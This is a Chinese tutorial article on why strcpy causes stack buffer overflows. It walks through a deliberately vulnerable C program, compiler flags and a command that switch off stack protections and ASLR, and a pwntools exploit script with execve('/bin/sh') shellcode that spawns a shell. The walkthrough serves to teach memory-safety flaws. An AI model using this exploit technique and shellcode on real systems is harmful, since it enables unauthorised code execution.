您好,登錄后才能下訂單哦!
本篇文章給大家分享的是有關strcpy為何不安全,小編覺得挺實用的,因此分享給大家學習,希望大家閱讀完這篇文章后可以有所收獲,話不多說,跟著小編一起來看看吧。
在剛剛開始學校C語言的時候,很多人都用過strcpy這個函數(shù)。簡單說是一個內存復制的函數(shù)。這個函數(shù)確實非常方便,但是這個函數(shù)是非常不安全,由與這個函數(shù)而產生的緩沖區(qū)溢出漏洞在很多文章中都有所介紹。我們應該摒棄strcpy的使用,而是用strncpy進行代替。
原型聲明:char *strcpy(char* dest, const char *src);
頭文件:#include <string.h> 和 #include <stdio.h>
功能:把從src地址開始且含有NULL結束符的字符串復制到以dest開始的地址空間
說明:src和dest所指內存區(qū)域不可以重疊且dest必須有足夠的空間來容納src的字符串。
既然這個函數(shù)能造成緩沖區(qū)溢出漏洞,那么這個漏洞究竟是什么樣子的那,怎么利用這個漏洞那。很多文章對這個卻搞的諱莫如深,讓人一頭霧水。要弄懂這個,我們先了解下Linux下32為程序函數(shù)調用約定。
以下是一個簡單的C程序stackOf.c,后續(xù)的內容也是圍繞這這個程序展開的。
#include<stdio.h>
#include <unistd.h>
#include <string.h>
void vul(char * msg){
char buffer[64] ;
strcpy(buffer,msg);
return ;
}
int main(){
puts("please give me your shellcode:");
char shellcode[256];
memset(shellcode,0,256);
read(0,shellcode,256);
vul(shellcode);
return 0;
}
這個程序的功能很簡單,就是將輸入的內容復制到buffer中。不過這里有一個問題,buffer只有64個字節(jié),而輸入?yún)s可以是256個字節(jié),這會引發(fā)什么問題那?下面部分再說。這里我們來看在執(zhí)行 vul(shellcode);的時候,對應的匯編代碼是什么樣子的那,以及進入vul函數(shù)和退出vul函數(shù)的時候,堆棧的變化情況。函數(shù)調用主要有兩個點需要關注:(1)參數(shù)的出入方式(2)堆棧的平衡
這個例子中只有一個參數(shù),可以看出先進行push eax操作,在執(zhí)行call sym.vul。也就是先將參數(shù)入棧,再進行調用操作。
CALL指令(“調用”指令)的功能,就是以下兩點:
將下一條指令的所在地址(即當時程序計數(shù)器PC的內容)入棧,
并將子程序的起始地址送入PC(于是CPU的下一條指令就會轉去執(zhí)行子程序)
流程如下圖所示:在看下vul的匯編代碼:首先將老的ebp入棧,為何需要這一步,為了方便?;厮?。至于?;厮莸膯栴},后續(xù)會單獨來說。重點來說一下leave和ret指令:
CPU執(zhí)行ret指令時,進行下面的兩步操作:(IP) = ((ss)*16 +(sp))(返回地址)(esp) = (esp)+2(32為是+4)
leave指令的作用: 在32位匯編下相當于:mov esp,ebp;//將ebp指向(ebp內部應當保存一個地址,所謂指向即這個地址對應的空間)的值賦給esppop ebp
編譯stackOf.c
gcc -m32 -no-pie -fno-stack-protector -z execstack -o pwnme stackOf.c
運行結果如下:最好加一條命令關閉系統(tǒng)的的地址隨機化
sudo bash -c "echo 0 > /proc/sys/kernel/randomize_va_space"
如果是root用戶,可以使用:
echo 0 > /proc/sys/kernel/randomize_va_space
查資料結論是sudo命令不支持重定向。
這里來說說一下buffer只有64個字節(jié),而輸入?yún)s可以是256個字節(jié),這會引發(fā)的問題。當用戶輸入過長時,會向高地址覆蓋。如果將返回地址覆蓋為:就是將返回地址覆蓋為jum esp的地址,這樣當函數(shù)返回的時候,eip指向的就是jmp esp的地址我們精心設計的buffer= 填充字符 + jmp_esp地址 +shellcode
那么數(shù)據(jù)是怎么計算出來的那。用r2進行調試(gdb也可以),在strcpy出下斷點,運行:通過分析vul的匯編代碼,可知在strcpy調用前將ebx(0xffa97850)入棧,而這就是buffer的起始地址,ebp的地址是0xffa97898,兩者相見是0x48 = 64+8 = 72, 別忘了還有ebp在進入函數(shù)的時候也入棧了,所以還需要加上4個字節(jié),也就是76個字節(jié)。
通過ldd命令可查看libc.so的加載地址UTF-8這個需要加上,能夠避免中文亂碼。
#-*- coding: UTF-8 -*-
from pwn import *
p = process('./pwnme') #運行程序
p.recvuntil("shellcode:") #當接受到字符串'shellcode:'
#找jmp_esp_addr_offset
libc = ELF('/lib32/libc.so.6')
jmp_esp = asm('jmp esp')
jmp_esp_addr_offset = libc.search(jmp_esp).next()
if jmp_esp_addr_offset is None:
print 'Cannot find jmp_esp in libc'
else:
print hex(jmp_esp_addr_offset)
libc_base = 0xf7de0000 #你找到的libc加載地址
jmp_esp_addr = libc_base + jmp_esp_addr_offset #得到jmp_esp_addr
print hex(jmp_esp_addr)
jmp esp在程序里的地址 : jmp_esp_addr=jmp_esp_addr_offset+libc_base
,結合圖解一下
shellcode如下所示:
'\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'
#-*- coding: UTF-8 -*-
from pwn import *
p = process('./pwnme') #運行程序
p.recvuntil("shellcode:") #當接受到字符串'shellcode:'
#找jmp_esp_addr_offset
libc = ELF('/lib32/libc.so.6')
jmp_esp = asm('jmp esp')
jmp_esp_addr_offset = libc.search(jmp_esp).next()
if jmp_esp_addr_offset is None:
print 'Cannot find jmp_esp in libc'
else:
print hex(jmp_esp_addr_offset)
libc_base = 0xf7de0000 #你找到的libc加載地址
jmp_esp_addr = libc_base + jmp_esp_addr_offset #得到jmp_esp_addr
print hex(jmp_esp_addr)
#構造布局
buf = 'A'*76
buf += p32(jmp_esp_addr)
buf += '\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'
with open('poc','wb') as f:
f.write(buf)
p.sendline(buf) #發(fā)送構造后的buf
p.interactive()
從圖中可以看出我們居然獲得了shell,那刪除文件、瀏覽文件、復制文件等等很多操作都可以隨心所欲。
以上就是strcpy為何不安全,小編相信有部分知識點可能是我們日常工作會見到或用到的。希望你能通過這篇文章學到更多知識。更多詳情敬請關注億速云行業(yè)資訊頻道。
免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng)、轉載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關證據(jù),一經查實,將立刻刪除涉嫌侵權內容。